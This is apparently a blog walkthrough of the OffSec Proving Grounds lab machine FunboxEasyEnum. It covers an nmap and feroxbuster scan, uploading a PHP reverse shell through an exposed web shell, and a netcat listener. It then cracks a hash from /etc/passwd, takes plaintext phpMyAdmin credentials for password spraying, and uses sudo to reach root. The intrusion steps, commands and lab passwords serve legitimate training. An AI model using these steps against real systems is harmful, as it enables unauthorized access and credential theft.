
Introduction
Welcome! I'm Koushik, a Security Engineer, and in this guide, we'll be tackling FunboxEasyEnum, a beginner-friendly Linux machine from OffSec Proving Grounds Play. My goal here is to give you more than just a quick flag, I'll be demonstrating the complete, end-to-end enumeration methodology. In this walkthrough, you will learn how to uncover hidden web shells through targeted extension fuzzing, recognize and pivot past password-cracking rabbit holes, and leverage configuration file auditing with password reuse to escalate privileges to root.
1. Reconnaissance & Enumeration
Nmap Scan Result
To gain insight into the network, start with an nmap scan to identify open ports and potential vulnerabilities.
Used
-T4 - Accelerate scans by reducing timeouts and probe delays.
-Pn - Skip host discovery and treat the target as completely online.
-vv - Increases verbosity to level 2 (double verbosity), making Nmap print open ports and scan progress in real time rather than waiting until the entire scan finishes.
-p- - Scan all 65535 ports.
-oN - Save the scan output in normal, human-readable format to a specified file.
nmap -T4 -Pn -vv -p- 192.168.146.132 -oN nmap.txt
Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Nmap deep scan for open ports
Used
-A - This flag in Nmap enables an aggressive scan that combines OS detection (-O), service version detection (-sV), default NSE script scanning (-sC), and traceroute (--traceroute) into a single command.
nmap -T4 -Pn -vv -p 22,80 -A 192.168.146.132 -oN nmap_deep.txt
Output
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bb:8f:1a:df:61:37:5d:65:05:f0:60:c3:bf:1b:4e:58 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2TTon4+ZLKkeM9ps3J5/JVQv2t1eSkTW+QkcZWgGINTv49nyXUeis4EuRY0a8UjLHHyICTi0/n+oe7cP3Dbz2nF7ECDki2nOgZsL1Sd8bmYbUgZAf9sg2Mqtbpfily5OKhqHHCBk9ZiqDhCphKAhd7l9Tj3xp8cXHojdgxfRTeu3Z5JaWVtxieH4xQ1+o8f0PC8u1npQHxut8xcRqIGJxVohOkAliU8IJpmWBuS9GWcaSQY1em13fgC6ciXXKD41M/fOWNoxxeZsfi4fMp+XmkZqHdRC3OO9UukcaFokxJUsaWY/d1Su1pcgFDfJG8/RuhbW/HZ3la1Y4YAa4OgP7
| 256 b2:13:0d:3f:c3:37:58:a9:2c:ee:ad:12:d9:d7:9e:2e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH3JbKLxnqKSYPFnPGMh6/Ox2LiXVkuuf4VD4T9UwLN8fKWEswryBGUPtkiOz3GONXunPEj4Xm06GVcQoFwSTDQ=
| 256 d8:96:55:74:76:dc:04:ee:7e:e5:20:e9:6f:9c:b7:44 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDfdGCTQlWePVwWtsFFdNXTOBX8MQy1uvn3zDI2grGTN
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 2.6.32 - 3.13 (96%), Linux 5.0 - 5.14 (96%), Linux 3.2 - 4.14 (96%), Linux 4.15 - 5.19 (96%), Linux 2.6.32 - 3.10 (96%), Linux 4.15 (95%), Linux 3.10 - 4.11 (95%), Linux 2.6.32 - 3.5 (93%), HP P2000 G3 NAS device (93%), MikroTik RouterOS 6.36 - 6.48 (Linux 3.3.5) (92%)
Web Server Enumeration (Port 80)
Here is the default Apache2 Debian page with no obvious functionality.
So it is a good time to do directory busting.
Directory Bruteforce with Feroxbuster
Used
--url - Sets the target base URL (short flag: -u).
-x - Appends specified extensions to every word in the wordlist.
-w - Specifies the path to the wordlist file.
feroxbuster --url http://192.168.182.132 -x php txt zip -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
Found /mini.php, looks interesting
We navigated to http://192.168.146.132/mini.php and got Zerion Mini Shell 1.0 where we can upload any file and read or delete any file present.
Now we are going to next step.
2. Initial Access
Since mini.php is actively executing server-side code and rendering live directory contents from /var/www/html/, we know the Apache server is configured to parse PHP.
How to Verify PHP Execution Support?
- Live Rendering: Requesting a
.phpfile executes server-side logic instead of exposing raw source code.- Headers & Cookies:
curl -I <url>or Burp Suite revealsX-Powered-By: PHPheaders orPHPSESSIDcookies.- Fingerprinting & Fuzzing: Browser extensions like
Wappalyzer, CLI tools likewhatweb <url>, or directory fuzzing with Feroxbuster (-x php) confirm active PHP support.
Using the web shell's upload feature, we can upload a standard PHP reverse shell into the web root and trigger it via the browser to catch a shell on our listener.
If you don't know, Kali Linux already includes a built-in PHP reverse shell at
/usr/share/webshells/php/php-reverse-shell.php.
Copy it to your working directory and update the $ip and $port variables inside the script to match your Kali machine's tun0 IP address and the port where you want to catch the reverse shell.
cp /usr/share/webshells/php/php-reverse-shell.php .
subl php-reverse-shell.php
Save it
Rename it to a shorter name for ease of use.
mv php-reverse-shell.php shell.php
Upload it.
Start a listener for an incoming reverse shell. I am using nc and rlwrap to make it more stable and easier to use.
On Local Machine
rlwrap -f . -r nc -nvlp 4444
Shell as www-data
Navigate to http://192.168.146.132/shell.php and check the terminal tab. If everything goes well, we will get a reverse shell.
To get a stable tty shell, run
python3 -c "import pty;pty.spawn('/bin/bash')"
Now let's check how many users are there in the home directory.
cd /home
ls -al
There are total 6 users.
Now, let's find where our local flag is using the find command and read it.
find / -type f -name local.txt 2>/dev/null
cat /var/www/local.txt
Found the local flag.
3. Privilege Escalation
Let's read the passwd file to check if anything interesting is there. We get a password hash for the oracle user.
cat /etc/passwd
Copy the password hash and save it in a file on our local machine and let's try to crack the hash using john
mousepad hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Successfully cracked the password hiphop
Login as oracle with the password hiphop
su oracle
But got nothing interesting.
This is the rabbit hole here.
Run the exit command and we are now back to www-data shell.
When to check
phpmyadmin/config-db.php?
- phpMyAdmin is present on the host: You spotted
/phpmyadminduring web enumeration, saw/etc/phpmyadminor/usr/share/phpmyadminon the filesystem, or noticed MySQL/MariaDB running locally (ss -tulpn/netstat).- You are hunting for credentials and password reuse: In Debian and Ubuntu systems,
dbconfig-commonautomatically stores phpMyAdmin's internal database credentials ($dbuserand$dbpass) in plaintext inside/etc/phpmyadmin/config-db.php, which is often readable by thewww-datagroup.
Now check the phpMyAdmin config-db.php file
cd /etc/phpmyadmin
cat config-db.php
Got a username phpmyadmin and a password tgbzhnujm!
Using this cred to login as phpmyadmin isn't Beneficial because the phpmyadmin user defined in config-db.php only exists inside MySQL/MariaDB, not as an operating system user in /etc/passwd.
When you get a password, try password spraying
After some tries, I got another user using the same password named karla
Now, the first thing to check is sudo -l (short for sudo --list) to check sudo privileges granted to your user account on the current machine, including which commands you can run as root or as any other user, as configured in /etc/sudoers and /etc/sudoers.d/.
sudo -l
(ALL : ALL) ALL means the user (karla) can run any command as any user or any group on that machine (once you enter karla's password).
Now it is very easy, just run bash as a superuser (sudo) and get the shell as root
sudo /bin/bash
Read the final flag
cat /root/proof.txt
4. Key Takeaways
- Extension Fuzzing Uncovers Hidden Attack Surfaces: Running Feroxbuster with targeted extensions (
-x php) exposed/mini.php, an unprotected web shell that turned a static Apache default page into immediate remote code execution. - Recognize and Pivot Past Rabbit Holes: Cracking the legacy password hash in
/etc/passwdfororacle(hiphop) led to a dead end. When a lateral movement path yields nothing, step back and continue local configuration enumeration rather than getting stuck. - Audit Service Configuration Files for Credentials: Plaintext database credentials stored in
/etc/phpmyadmin/config-db.phpare often readable bywww-dataon Debian/Ubuntu hosts. Even when the service account (phpmyadmin) isn't a system user, its password is a prime candidate for password spraying across local users. - Check
sudoPrivileges Immediately After Lateral Movement: Switching tokarlavia password reuse and runningsudo -lrevealed unrestricted(ALL : ALL) ALLpermissions, enabling trivial privilege escalation toroot.
5. Conclusion
FunboxEasyEnum is a great reminder that methodical enumeration beats complex exploits. Paying close attention to extension fuzzing, pivoting past rabbit holes, and checking local configuration files for password reuse makes the path to root straightforward.
Thanks for reading and taking the time to check this out, I hope it added some value to your journey!
Comments
Join the discussionNo comments yet. Be the first to comment.
PG Play Walkthroughs
Step-by-step penetration testing walkthroughs for OffSec Proving Grounds (PG) Play machines. Each writeup breaks down the full attack lifecycle—from initial Nmap reconnaissance and service enumeration to vulnerability exploitation and Linux privilege escalation—with practical commands, methodology notes, and key takeaways for OSCP and offensive security prep.





